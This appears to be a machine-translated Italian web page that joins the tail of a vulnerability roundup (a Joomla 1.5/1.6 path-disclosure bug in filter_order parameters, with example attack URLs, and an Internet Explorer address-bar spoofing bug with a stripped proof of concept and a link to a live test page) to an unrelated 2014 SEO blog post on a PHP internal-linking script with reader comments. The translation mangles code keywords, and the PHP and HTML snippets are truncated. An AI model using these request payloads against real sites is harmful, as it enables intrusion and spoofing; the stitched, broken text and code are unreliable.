Qui puoi vedere che le variabili $filter_order e $filter_order_dir non superano il rigoroso controllo di corrispondenza. istruzioni SQL, il controllo viene eseguito solo utilizzando il metodo clean standard della classe JFilterInput:

...
caso "PAROLA" :
$result = (stringa) preg_replace ("/[^A-Z_]/i", "", $source);
rottura;
...
caso "CMD":
$risultato = (stringa)
preg_replace("/[^A-Z0-9_.-]/i", "", $source);
$risultato = ltrim($risultato, ".");
rottura;
...

Pertanto, per impostazione predefinita, otteniamo la divulgazione del percorso. Un bug simile nelle stesse variabili è stato recentemente scoperto nella prima versione del motore dal nuovo ramo 1.6.

Impresa

Per impostazione predefinita, possiamo utilizzare solo l'espansione del percorso in Joomla!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir=&filter_order=%00"
  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir="&filter_order=asc

e Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAA,&filter_order_Dir=2&limit=3&limitstart=4
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=1,&filter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

Tuttavia, i cercatori di bug suggeriscono di utilizzare questi bug in installazioni Joomla già compromesse nel contesto della prototipazione del motore: è sufficiente rimuovere i filtri JFilterInput::clean dalle variabili filter_order_Dir e filter_order, dopodiché è possibile utilizzare la vulnerabilità modificata a tempo indeterminato.

Ci sono anche informazioni secondo cui alcune persone intraprendenti sono comunque riuscite a bypassare questi famigerati filtri, ma l'exploit è in profonda privacy.

Obiettivi

  • Joomla!<= 1.5.21, Joomla! 1.6.0

soluzione

Come sempre, non dimenticare di aggiornare dal sito ufficiale dello sviluppatore joomla.org. Al momento della stesura della recensione, le ultime versioni di questo CMS erano rispettivamente la 1.5.22 e la 1.6.0.

Spoofing della barra degli indirizzi in Microsoft Internet Explorer

breve

Infine, voglio parlarvi di un bug piccolo ed estremamente divertente nell'asino di IE, che è stato scoperto da un hacker con il soprannome di cyber flash. Questo bug consente a un utente remoto di eseguire un semplice attacco di spoofing.

La vulnerabilità esiste a causa di un errore durante l'aggiornamento della barra degli indirizzi a comparsa. Un utente remoto può utilizzare una pagina Web appositamente predisposta per forzare il browser a visualizzare solo una determinata parte dell'indirizzo nella barra degli indirizzi.

Impresa

Come esempio di sostituzione della barra degli indirizzi, l'autore stesso offre il seguente codice HTML PoC:


content="text/html; charset=windows-1252">

Parodia



Clicca ovunque in questa pagina!

Cyber ​​​​flash ci fornisce anche una pagina già pronta con un codice PoC per il test su keyloggeronline.com/misc/temp/about.htm .

Quando visitiamo questa pagina, vedremo un'iscrizione con un collegamento che ci invita ad andare al sito bing.com. Cliccando sul collegamento, vedremo una finestra pop-up, nella barra degli indirizzi di cui apparirà lo stesso Bing. Sotto ci sarà un altro link che chiama per scaricare il nuovo Internet Explorer (inoltre, passando con il mouse su "Download", non vedremo nulla di sospetto, anche se non c'è una nuova versione del browser, ma un programma pseudo-trojan di Cyber ​​​Lampo).
Pertanto, un utente malintenzionato può facilmente passare un file dannoso all'utente Donkey.

Obiettivi

  • Microsoft Internet Explorer 7, 8, 9

soluzione

Al momento, quelli soft non hanno ancora risolto la vulnerabilità descritta, quindi se utilizzi IE, come misura temporanea, ti consiglio di stare più attento con i popup sconosciuti.

Continuo a condividere con voi piccoli ma molto utili script per il sito, che aiutano a migliorare l'atteggiamento dei motori di ricerca nei confronti del vostro sito. Questa volta parleremo collegamento competente pagine.

Per cominciare, creiamo un database di indirizzi di pagine e possibili ancoraggi per ciascuno di essi. Useremo un file *.txt come base. La struttura del file sarà così:

page_address_1;anchor_1,anchor_2,anchor_3,...,anchor_n page_address_2;anchor_1,anchor_2,anchor_3,...,anchor_n page_address_3;anchor_1,anchor_2,anchor_3,...,anchor_n ... page_nr indirizzo;anchor_1,anchor_2,anchor_3 , ...,ancora_n

Come puoi vedere, è possibile un ulteriore utilizzo dello script con qualsiasi numero di indirizzi di pagina e ancore ad essi. L'indirizzo della pagina è scritto senza http://www.site.ru/, ad es. immediatamente dalla radice senza la prima barra. L'indirizzo è separato dalle ancore tramite un punto e virgola e le ancore tra loro sono semplicemente una virgola. Puoi anche scrivere l'indirizzo completo, è solo più conveniente per me personalmente, e puoi modificare tu stesso il riempimento e l'output del risultato, penso che lo capirai intuitivamente da solo.

E così, è stata creata la base di collegamenti e ancore ad essi, quindi fornirò un esempio di codice PHP per visualizzare direttamente i collegamenti per il ricollegamento sul sito:

".$tex2[$tex3].""; } ?>

Incolliamo questo codice in qualsiasi punto del sito, che mostra 5 collegamenti casuali dal database e un ancoraggio casuale. È meglio diluire le ancore e non scrivere solo 1 al collegamento. Con un corretto collegamento al sito, vedrai immediatamente un aumento del traffico e un miglioramento di altri indicatori del sito.

Attendo con ansia le vostre domande nei commenti a questo post.

Data di pubblicazione: 03 marzo 2014
    Recensioni e commenti:

    Dmitry:
    Grazie per lo script, lo implementerò. È impossibile copiare dal codice sorgente dal sito, viene copiato solo in piccoli frammenti, sarebbe più conveniente farlo nella sua interezza.

    Kirill:
    Grazie per la nota con la copia, l'ho vista solo ora, cercherò di correggerla il prima possibile.

    Alexei Pavlov:
    L'errore è nella riga $tex = exploit(":",$sendlist[$count] Hai bisogno di un punto e virgola, non di due punti. Ho modificato un po' il codice per renderlo più chiaro:$ancora"; } ?>

    matrk:
    L'articolo è completamente inutile, perché. Il blog è protetto da copia.

    Kirill:
    C'è un piccolo stipite in js, sì, non c'è tempo per aggiustarlo, ma probabilmente qualcun altro è inutile, dato che in questo caso non c'è abbastanza mente, guarda il codice sorgente della pagina e prendilo da lì

    matrk:
    Quelli. Devo scalare il codice sorgente e ripulirlo da ogni spazzatura? Sei divertente.

    Kirill:
    Significa che devo qualcosa a qualcuno? Ti ho preso soldi, tu provi qui, dai consigli gratuiti :))) Il formaggio gratis è solo in una trappola per topi, capirai con l'età.

    Kirill:
    Tolto lo stipite, usalo per la tua salute.

    Andrej Kopaev:
    1 - probabilmente è meglio farlo usando il database mysql; funzionerà più velocemente, è più facile aggiungere 2 - non capisco che senso ha generare un elenco di collegamenti ogni volta? In che modo questo influisce sulla crescita del traffico? è possibile caricare con ajax, ad es. È per gli umani o per i robot?

    www.sito:
    Per la promozione, però, personalmente non sono un sostenitore di tali manipolazioni con PS.